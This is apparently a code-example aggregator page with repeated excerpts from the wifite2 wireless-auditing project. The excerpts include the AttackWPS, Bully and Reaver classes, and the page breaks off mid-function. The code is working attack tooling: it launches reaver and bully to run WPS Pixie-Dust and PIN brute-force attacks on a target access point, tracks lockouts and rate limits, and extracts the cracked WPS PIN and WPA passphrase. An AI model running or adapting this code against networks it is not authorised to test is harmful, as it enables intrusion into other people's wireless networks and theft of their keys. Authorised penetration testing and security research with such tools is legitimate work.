예제 #1
0
    def load(json):
        ''' Returns an instance of the appropriate object given a json instance '''
        if json['type'] == 'WPA':
            from CrackResultWPA import CrackResultWPA
            result = CrackResultWPA(json['bssid'], json['essid'],
                                    json['handshake_file'], json['key'])
        elif json['type'] == 'WEP':
            from CrackResultWEP import CrackResultWEP
            result = CrackResultWEP(json['bssid'], json['essid'],
                                    json['hex_key'], json['ascii_key'])

        elif json['type'] == 'WPS':
            from CrackResultWPS import CrackResultWPS
            result = CrackResultWPS(json['bssid'], json['essid'], json['pin'],
                                    json['psk'])
        result.date = json['date']
        return result
예제 #2
0
파일: AttackWPS.py 프로젝트: houcy/wifite2
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '--interface',
            Configuration.interface,
            '--bssid',
            self.target.bssid,
            '--channel',
            self.target.channel,
            '--pixie-dust',
            '1',  # pixie-dust attack
            #'--delay', '0',
            #'--no-nacks',
            '--session',
            '/dev/null',  # Don't restart session
            '-vv'  # (very) verbose
        ]
        stdout_write = open(self.stdout_file, 'a')
        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        pin = None
        step = 'initializing'
        time_since_last_step = 0

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='pixie') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "Pixie Dust",
                          "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "Pixie-Dust",
                                  "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False

                stdout_write.flush()

                # Check output from reaver process
                stdout = self.get_stdout()
                stdout_last_line = stdout.split('\n')[-1]

                (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

                # Check if we cracked it, or if process stopped.
                if (pin and psk and ssid) or reaver.poll() != None:
                    reaver.interrupt()

                    # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                    stdout = self.get_stdout()
                    (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                    # Check if we cracked it.
                    if pin and psk and ssid:
                        # We cracked it.
                        bssid = self.target.bssid
                        Color.clear_line()
                        Color.pattack(
                            "WPS", airodump_target, "Pixie-Dust",
                            "{G}successfully cracked WPS PIN and PSK{W}\n")
                        self.crack_result = CrackResultWPS(
                            bssid, ssid, pin, psk)
                        self.crack_result.dump()
                        return True
                    else:
                        # Failed to crack, reaver proces ended.
                        Color.clear_line()
                        Color.pattack("WPS", airodump_target, "Pixie-Dust",
                                      "{R}Failed: {O}WPS PIN not found{W}\n")
                        return False

                if 'WPS pin not found' in stdout:
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    break

                last_step = step
                # Status updates, depending on last line of stdout
                if 'Waiting for beacon from' in stdout_last_line:
                    step = '({C}step 1/8{W}) waiting for beacon'
                elif 'Associated with' in stdout_last_line:
                    step = '({C}step 2/8{W}) waiting to start session'
                elif 'Starting Cracking Session.' in stdout_last_line:
                    step = '({C}step 3/8{W}) waiting to try pin'
                elif 'Trying pin' in stdout_last_line:
                    step = '({C}step 4/8{W}) trying pin'
                elif 'Sending EAPOL START request' in stdout_last_line:
                    step = '({C}step 5/8{W}) sending eapol start request'
                elif 'Sending identity response' in stdout_last_line:
                    step = '({C}step 6/8{W}) sending identity response'
                elif 'Sending M2 message' in stdout_last_line:
                    step = '({C}step 7/8{W}) sending m2 message (may take a while)'
                elif 'Detected AP rate limiting,' in stdout_last_line:
                    if Configuration.wps_skip_rate_limit:
                        Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                        Color.pl(
                            '{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                            ' this kind of failure in the future{W}')
                        break
                    step = '({C}step -/8{W}) waiting for AP rate limit'

                if step != last_step:
                    # Step changed, reset step timer
                    time_since_last_step = 0
                else:
                    time_since_last_step += 1

                if time_since_last_step > Configuration.wps_pixie_step_timeout:
                    Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' %
                             Configuration.wps_pixie_step_timeout)
                    break

                # TODO: Timeout check
                if reaver.running_time() > Configuration.wps_pixie_timeout:
                    Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
                             Configuration.wps_pixie_timeout)
                    break

                # Reaver Failure/Timeout check
                fail_count = stdout.count('WPS transaction failed')
                if fail_count > Configuration.wps_fail_threshold:
                    Color.pl('{R}failed: {O}too many failures (%d){W}' %
                             fail_count)
                    break
                timeout_count = stdout.count('Receive timeout occurred')
                if timeout_count > Configuration.wps_timeout_threshold:
                    Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
                             timeout_count)
                    break

                Color.clear_line()
                Color.pattack("WPS", airodump_target, "Pixie-Dust", step)

                time.sleep(1)
                continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False
예제 #3
0
파일: AttackWPS.py 프로젝트: houcy/wifite2
    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '--interface',
            Configuration.interface,
            '--bssid',
            self.target.bssid,
            '--channel',
            self.target.channel,
            '--session',
            '/dev/null',  # Don't restart session
            '-vv'  # verbose
        ]
        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wps') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "PIN Attack",
                          "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "PIN Attack",
                                  "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False
                time.sleep(1)
                percent = 100 * float(pin_current) / float(pin_total)
                Color.clear_line()
                status = '{G}%.2f%% done{W}, ' % percent
                status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
                status += '{R}%d/%d failures{W}' % (
                    failures, Configuration.wps_fail_threshold)
                Color.pattack("WPS", airodump_target, "PIN Attack", status)

                if failures >= Configuration.wps_fail_threshold:
                    Color.pattack("WPS", airodump_target, "PIN Attack",
                                  '{R}failed: {O}too many failures{W}')
                    Color.pl("")
                    break

                # Get output
                out = self.get_stdout()

                # Clear output file
                f = open(self.stdout_file, 'w')
                f.write('')
                f.close()

                # CHECK FOR CRACK

                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
                if pin and psk and ssid:
                    # We cracked it.
                    self.success = True
                    Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(self.target.bssid, ssid,
                                                       pin, psk)
                    self.crack_result.dump()
                    break

                # PIN PROGRESS

                # Reaver 1.5.*
                match = None
                for match in re.finditer(
                        'Pin count advanced: (\d+)\\. Max pin attempts: (\d+)',
                        out):
                    # Look at last entry for "Pin count advanced" to get latest pin count
                    pass
                if match:
                    # Reset failures on successful try
                    failures = 0
                    groups = match.groups()
                    pin_current = int(groups[0])
                    pin_total = int(groups[1])

                # Reaver 1.3, 1.4
                match = None
                for match in re.finditer('Trying pin (\d+)', out):
                    if match:
                        pin = int(match.groups()[0])
                        if pin not in pins:
                            # Reset failures on successful try
                            failures = 0
                            pins.add(pin)
                            pin_current += 1

                # Failures
                if 'WPS transaction failed' in out:
                    failures += out.count('WPS transaction failed')
                elif 'Receive timeout occurred' in out:
                    # Reaver 1.4
                    failures += out.count('Receive timeout occurred')

                # Status
                if 'Waiting for beacon from' in out:
                    state = '{O}waiting for beacon{W}'
                if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
                # Reaver 1.4
                if 'Trying pin' in out and 'cracking' not in state:
                    state = '{C}cracking{W}'

                if 'Detected AP rate limiting' in out:
                    state = '{R}rate-limited{W}'
                    if Configuration.wps_skip_rate_limit:
                        Color.pl(state)
                        Color.pl('{!} {R}hit rate limit, stopping{W}')
                        Color.pl(
                            '{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                            ' this kind of failure in the future{W}')
                        break

                if 'WARNING: Failed to associate with' in out:
                    # TODO: Fail after X association failures (instead of just one)
                    Color.pl(
                        '\n{!} {R}failed to associate with target, {O}stopping{W}'
                    )
                    break

                match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)',
                                  out)
                if match:
                    eta = match.groups()[0]
                    state = '{C}cracking, ETA: {G}%s{W}' % eta

                match = re.search(
                    'Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try',
                    out)
                if match:
                    eta = match.groups()[0]
                    state = '{C}cracking, ETA: {G}%s{W}' % eta
                    pins_left = int(match.groups()[1])

                    # Divine pin_current & pin_total from this:
                    pin_current = 11000 - pins_left

                # Check if process is still running
                if reaver.pid.poll() != None:
                    Color.pl('{R}failed{W}')
                    Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
                    self.success = False
                    break

                # Output the current state
                Color.p(state)
                '''
                [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
                [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
                [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
                [+] Trying pin 12345670.
                [+] Pin count advanced: 46. Max pin attempts: 11000
                [!] WPS transaction failed (code: 0x02), re-trying last pin
                [!] WPS transaction failed (code: 0x03), re-trying last pin
                [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
                [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
                [!] WARNING: 25 successive start failures
                [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
                [+] 0.55% complete. Elapsed time: 0d0h2m21s.
                [+] Estimated Remaining time: 0d15h11m35s

                [+] Pin cracked in 7 seconds
                [+] WPS PIN: '12345678'
                [+] WPA PSK: 'abcdefgh'
                [+] AP SSID: 'Test Router'

                Reaver 1.4:
                [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
                [!] WARNING: Receive timeout occurred

                '''

        reaver.interrupt()

        return self.success
예제 #4
0
파일: AttackWPS.py 프로젝트: houcy/wifite2
class AttackWPS(Attack):
    def __init__(self, target):
        super(AttackWPS, self).__init__(target)
        self.success = False
        self.crack_result = None

    def run(self):
        ''' Run all WPS-related attacks '''

        # Drop out if user specified to not use Reaver
        if Configuration.no_reaver:
            self.success = False
            return self.success

        # Run Pixie-Dust attack
        if self.is_pixiedust_supported():
            if self.run_pixiedust_attack():
                # Pixie-Dust attack succeeded. We're done.
                self.success = True
                return self.success
        else:
            Color.pl(
                "{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}"
            )

        if Configuration.pixie_only:
            Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
            self.success = False
        else:
            # Run WPS-PIN attack
            self.success = self.run_wps_pin_attack()
        return self.success

    def is_pixiedust_supported(self):
        ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
        output = Process(['reaver', '-h']).stderr()
        return '--pixie-dust' in output

    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '--interface',
            Configuration.interface,
            '--bssid',
            self.target.bssid,
            '--channel',
            self.target.channel,
            '--pixie-dust',
            '1',  # pixie-dust attack
            #'--delay', '0',
            #'--no-nacks',
            '--session',
            '/dev/null',  # Don't restart session
            '-vv'  # (very) verbose
        ]
        stdout_write = open(self.stdout_file, 'a')
        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        pin = None
        step = 'initializing'
        time_since_last_step = 0

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='pixie') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "Pixie Dust",
                          "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "Pixie-Dust",
                                  "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False

                stdout_write.flush()

                # Check output from reaver process
                stdout = self.get_stdout()
                stdout_last_line = stdout.split('\n')[-1]

                (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

                # Check if we cracked it, or if process stopped.
                if (pin and psk and ssid) or reaver.poll() != None:
                    reaver.interrupt()

                    # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                    stdout = self.get_stdout()
                    (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                    # Check if we cracked it.
                    if pin and psk and ssid:
                        # We cracked it.
                        bssid = self.target.bssid
                        Color.clear_line()
                        Color.pattack(
                            "WPS", airodump_target, "Pixie-Dust",
                            "{G}successfully cracked WPS PIN and PSK{W}\n")
                        self.crack_result = CrackResultWPS(
                            bssid, ssid, pin, psk)
                        self.crack_result.dump()
                        return True
                    else:
                        # Failed to crack, reaver proces ended.
                        Color.clear_line()
                        Color.pattack("WPS", airodump_target, "Pixie-Dust",
                                      "{R}Failed: {O}WPS PIN not found{W}\n")
                        return False

                if 'WPS pin not found' in stdout:
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    break

                last_step = step
                # Status updates, depending on last line of stdout
                if 'Waiting for beacon from' in stdout_last_line:
                    step = '({C}step 1/8{W}) waiting for beacon'
                elif 'Associated with' in stdout_last_line:
                    step = '({C}step 2/8{W}) waiting to start session'
                elif 'Starting Cracking Session.' in stdout_last_line:
                    step = '({C}step 3/8{W}) waiting to try pin'
                elif 'Trying pin' in stdout_last_line:
                    step = '({C}step 4/8{W}) trying pin'
                elif 'Sending EAPOL START request' in stdout_last_line:
                    step = '({C}step 5/8{W}) sending eapol start request'
                elif 'Sending identity response' in stdout_last_line:
                    step = '({C}step 6/8{W}) sending identity response'
                elif 'Sending M2 message' in stdout_last_line:
                    step = '({C}step 7/8{W}) sending m2 message (may take a while)'
                elif 'Detected AP rate limiting,' in stdout_last_line:
                    if Configuration.wps_skip_rate_limit:
                        Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                        Color.pl(
                            '{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                            ' this kind of failure in the future{W}')
                        break
                    step = '({C}step -/8{W}) waiting for AP rate limit'

                if step != last_step:
                    # Step changed, reset step timer
                    time_since_last_step = 0
                else:
                    time_since_last_step += 1

                if time_since_last_step > Configuration.wps_pixie_step_timeout:
                    Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' %
                             Configuration.wps_pixie_step_timeout)
                    break

                # TODO: Timeout check
                if reaver.running_time() > Configuration.wps_pixie_timeout:
                    Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
                             Configuration.wps_pixie_timeout)
                    break

                # Reaver Failure/Timeout check
                fail_count = stdout.count('WPS transaction failed')
                if fail_count > Configuration.wps_fail_threshold:
                    Color.pl('{R}failed: {O}too many failures (%d){W}' %
                             fail_count)
                    break
                timeout_count = stdout.count('Receive timeout occurred')
                if timeout_count > Configuration.wps_timeout_threshold:
                    Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
                             timeout_count)
                    break

                Color.clear_line()
                Color.pattack("WPS", airodump_target, "Pixie-Dust", step)

                time.sleep(1)
                continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False

    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '--interface',
            Configuration.interface,
            '--bssid',
            self.target.bssid,
            '--channel',
            self.target.channel,
            '--session',
            '/dev/null',  # Don't restart session
            '-vv'  # verbose
        ]
        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wps') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "PIN Attack",
                          "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "PIN Attack",
                                  "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False
                time.sleep(1)
                percent = 100 * float(pin_current) / float(pin_total)
                Color.clear_line()
                status = '{G}%.2f%% done{W}, ' % percent
                status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
                status += '{R}%d/%d failures{W}' % (
                    failures, Configuration.wps_fail_threshold)
                Color.pattack("WPS", airodump_target, "PIN Attack", status)

                if failures >= Configuration.wps_fail_threshold:
                    Color.pattack("WPS", airodump_target, "PIN Attack",
                                  '{R}failed: {O}too many failures{W}')
                    Color.pl("")
                    break

                # Get output
                out = self.get_stdout()

                # Clear output file
                f = open(self.stdout_file, 'w')
                f.write('')
                f.close()

                # CHECK FOR CRACK

                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
                if pin and psk and ssid:
                    # We cracked it.
                    self.success = True
                    Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(self.target.bssid, ssid,
                                                       pin, psk)
                    self.crack_result.dump()
                    break

                # PIN PROGRESS

                # Reaver 1.5.*
                match = None
                for match in re.finditer(
                        'Pin count advanced: (\d+)\\. Max pin attempts: (\d+)',
                        out):
                    # Look at last entry for "Pin count advanced" to get latest pin count
                    pass
                if match:
                    # Reset failures on successful try
                    failures = 0
                    groups = match.groups()
                    pin_current = int(groups[0])
                    pin_total = int(groups[1])

                # Reaver 1.3, 1.4
                match = None
                for match in re.finditer('Trying pin (\d+)', out):
                    if match:
                        pin = int(match.groups()[0])
                        if pin not in pins:
                            # Reset failures on successful try
                            failures = 0
                            pins.add(pin)
                            pin_current += 1

                # Failures
                if 'WPS transaction failed' in out:
                    failures += out.count('WPS transaction failed')
                elif 'Receive timeout occurred' in out:
                    # Reaver 1.4
                    failures += out.count('Receive timeout occurred')

                # Status
                if 'Waiting for beacon from' in out:
                    state = '{O}waiting for beacon{W}'
                if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
                # Reaver 1.4
                if 'Trying pin' in out and 'cracking' not in state:
                    state = '{C}cracking{W}'

                if 'Detected AP rate limiting' in out:
                    state = '{R}rate-limited{W}'
                    if Configuration.wps_skip_rate_limit:
                        Color.pl(state)
                        Color.pl('{!} {R}hit rate limit, stopping{W}')
                        Color.pl(
                            '{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                            ' this kind of failure in the future{W}')
                        break

                if 'WARNING: Failed to associate with' in out:
                    # TODO: Fail after X association failures (instead of just one)
                    Color.pl(
                        '\n{!} {R}failed to associate with target, {O}stopping{W}'
                    )
                    break

                match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)',
                                  out)
                if match:
                    eta = match.groups()[0]
                    state = '{C}cracking, ETA: {G}%s{W}' % eta

                match = re.search(
                    'Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try',
                    out)
                if match:
                    eta = match.groups()[0]
                    state = '{C}cracking, ETA: {G}%s{W}' % eta
                    pins_left = int(match.groups()[1])

                    # Divine pin_current & pin_total from this:
                    pin_current = 11000 - pins_left

                # Check if process is still running
                if reaver.pid.poll() != None:
                    Color.pl('{R}failed{W}')
                    Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
                    self.success = False
                    break

                # Output the current state
                Color.p(state)
                '''
                [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
                [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
                [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
                [+] Trying pin 12345670.
                [+] Pin count advanced: 46. Max pin attempts: 11000
                [!] WPS transaction failed (code: 0x02), re-trying last pin
                [!] WPS transaction failed (code: 0x03), re-trying last pin
                [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
                [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
                [!] WARNING: 25 successive start failures
                [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
                [+] 0.55% complete. Elapsed time: 0d0h2m21s.
                [+] Estimated Remaining time: 0d15h11m35s

                [+] Pin cracked in 7 seconds
                [+] WPS PIN: '12345678'
                [+] WPA PSK: 'abcdefgh'
                [+] AP SSID: 'Test Router'

                Reaver 1.4:
                [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
                [!] WARNING: Receive timeout occurred

                '''

        reaver.interrupt()

        return self.success

    @staticmethod
    def get_pin_psk_ssid(stdout):
        ''' Parses WPS PIN, PSK, and SSID from output '''
        pin = psk = ssid = None

        # Check for PIN.
        # PIN: Printed *before* the attack completes.
        regex = re.search('WPS pin: *([0-9]*)', stdout)
        if regex:
            pin = regex.groups()[0]
        # PIN: Printed when attack is completed.
        regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
        if regex:
            pin = regex.groups()[0]

        # Check for PSK.
        regex = re.search("WPA PSK: *'(.+)'", stdout)
        if regex:
            psk = regex.groups()[0]

        # Check for SSID
        regex = re.search("AP SSID: *'(.+)'", stdout)
        if regex:
            ssid = regex.groups()[0]

        return (pin, psk, ssid)

    def get_stdout(self):
        ''' Gets output from stdout_file '''
        if not self.stdout_file:
            return ''
        f = open(self.stdout_file, 'r')
        stdout = f.read()
        f.close()
        return stdout.strip()
예제 #5
0
class Bully(Attack):
    def __init__(self, target):
        super(Bully, self).__init__(target)
        self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
        self.pins_attempted = 0
        self.state = "{O}Waiting for beacon{W}"
        self.m_state = None
        self.start_time = time.time()

        self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
        self.crack_result = None

        self.target = target

        self.cmd = [
            "stdbuf",
            "-o0",  # No buffer. See https://stackoverflow.com/a/40453613/7510292
            "bully",
            "--bssid",
            target.bssid,
            "--channel",
            target.channel,
            "--detectlock",  # Detect WPS lockouts unreported by AP
            "--force",
            "-v",
            "4",
            "--pixiewps",
            Configuration.interface
        ]

        self.bully_proc = None

    def attack_type(self):
        return "Pixie-Dust"

    def run(self):
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wps=True,
                      output_file_prefix='wps_pin') as airodump:
            # Wait for target
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, self.attack_type(),
                          "Waiting for target to appear...")
            self.target = self.wait_for_target(airodump)

            # Start bully
            self.bully_proc = Process(self.cmd,
                                      stderr=Process.devnull(),
                                      bufsize=0,
                                      cwd=Configuration.temp())
            t = Thread(target=self.parse_line_thread)
            t.daemon = True
            t.start()
            try:
                while self.bully_proc.poll() is None:
                    try:
                        self.target = self.wait_for_target(airodump)
                    except Exception as e:
                        Color.clear_entire_line()
                        Color.pattack("WPS", self.target, self.attack_type(),
                                      "{R}failed: {O}%s{W}" % e)
                        Color.pl("")
                        self.stop()
                        break
                    Color.clear_entire_line()
                    Color.pattack("WPS", self.target, self.attack_type(),
                                  self.get_status())
                    time.sleep(0.5)
            except KeyboardInterrupt as e:
                self.stop()
                raise e
            except Exception as e:
                self.stop()
                raise e

        if self.crack_result is None:
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, self.attack_type(),
                          "{R}Failed{W}\n")

    def running_time(self):
        return int(time.time() - self.start_time)

    def get_status(self):
        result = self.state
        result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
        result += " {G}tries:%d{W}" % self.pins_attempted
        result += " {O}failures:%d{W}" % (self.consecutive_timeouts +
                                          self.consecutive_noassoc)
        result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
        result += ")"
        return result

    def parse_line_thread(self):
        for line in iter(self.bully_proc.pid.stdout.readline, b""):
            if line == "": continue
            line = line.replace("\r", "").replace("\n", "").strip()
            if self.parse_line(line): break  # Cracked

    def parse_line(self, line):
        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
        got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
        if got_beacon:
            # group(1)=ESSID, group(2)=BSSID
            self.state = "Got beacon"

        # [+] Last State = 'NoAssoc'   Next pin '48855501'
        last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'",
                               line)
        if last_state:
            # group(1)=result, group(2)=PIN
            result = "Start"  # last_state.group(1)
            pin = last_state.group(2)
            self.state = "Trying PIN:{C}%s{W}" % pin

        # [+] Rx(  M5  ) = 'Pin1Bad'   Next pin '35565505'
        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
        rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'",
                         line)
        if rx_m:
            # group(1)=M3/M5, group(2)=result, group(3)=PIN
            self.m_state = rx_m.group(1)
            result = rx_m.group(2)  # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
            if result in ["Pin1Bad", "Pin2Bad"]:
                self.pins_attempted += 1
                self.consecutive_lockouts = 0  # Reset lockout count
                self.consecutive_timeouts = 0  # Reset timeout count
                self.consecutive_noassoc = 0  # Reset timeout count
                result = "{G}%s{W}" % result
            elif result == "Timeout":
                self.consecutive_timeouts += 1
                result = "{O}%s{W}" % result
            elif result == "NoAssoc":
                self.consecutive_noassoc += 1
                result = "{O}%s{W}" % result
            else:
                result = "{R}%s{W}" % result
            pin = rx_m.group(3)
            self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)

        # [!] WPS lockout reported, sleeping for 43 seconds ...
        lock_out = re.search(
            r".*WPS lockout reported, sleeping for (\d+) seconds", line)
        if lock_out:
            sleeping = lock_out.group(1)
            self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
            self.consecutive_lockouts += 1

        # [Pixie-Dust] WPS pin not found
        pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
        if pixie_re:
            self.state = "{R}Failed{W}"

        # [+] Running pixiewps with the information, wait ...
        pixie_re = re.search(r".*Running pixiewps with the information", line)
        if pixie_re:
            self.state = "{G}Running pixiewps...{W}"

        # [*] Pin is '80246213', key is 'password'
        # [*] Pin is '11867722', key is '9a6f7997'
        pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
        if pin_key_re:
            self.cracked_pin = pin_key_re.group(1)
            self.cracked_key = pin_key_re.group(2)

        #        PIN   : '80246213'
        pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
        if pin_re:
            self.cracked_pin = pin_re.group(1)

        #        KEY   : 'password'
        key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
        if key_re:
            self.cracked_key = key_re.group(1)

        #warn_re = re.search(r"\[\!\]\s*(.*)$", line)
        #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)

        if not self.crack_result and self.cracked_pin and self.cracked_key:
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, "Pixie-Dust",
                          "{G}successfully cracked WPS PIN and PSK{W}")
            Color.pl("")
            self.crack_result = CrackResultWPS(self.target.bssid,
                                               self.target.essid,
                                               self.cracked_pin,
                                               self.cracked_key)
            Color.pl("")
            self.crack_result.dump()
            return True
        else:
            return False

    def stop(self):
        if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
            self.pid.interrupt()

    def __del__(self):
        self.stop()
예제 #6
0
class Reaver(Attack):
    def __init__(self, target):
        super(Reaver, self).__init__(target)
        self.success = False
        self.crack_result = None

    def is_pixiedust_supported(self):
        ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
        output = Process(['reaver', '-h']).stderr()
        return '--pixie-dust' in output

    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '--interface',
            Configuration.interface,
            '--bssid',
            self.target.bssid,
            '--channel',
            self.target.channel,
            '--pixie-dust',
            '1',  # pixie-dust attack
            #'--delay', '0',
            #'--no-nacks',
            '--session',
            '/dev/null',  # Don't restart session
            '-vv'  # (very) verbose
        ]
        stdout_write = open(self.stdout_file, 'a')
        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        pin = None
        step = 'initializing'
        time_since_last_step = 0

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wps=True,
                      output_file_prefix='pixie') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "Pixie Dust",
                          "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "Pixie-Dust",
                                  "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False

                stdout_write.flush()

                # Check output from reaver process
                stdout = self.get_stdout()
                stdout_last_line = stdout.split('\n')[-1]

                (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

                # Check if we cracked it, or if process stopped.
                if pin is not None or reaver.poll() is not None:
                    reaver.interrupt()

                    # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                    stdout = self.get_stdout()
                    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)

                    # Check if we cracked it.
                    if pin is not None:
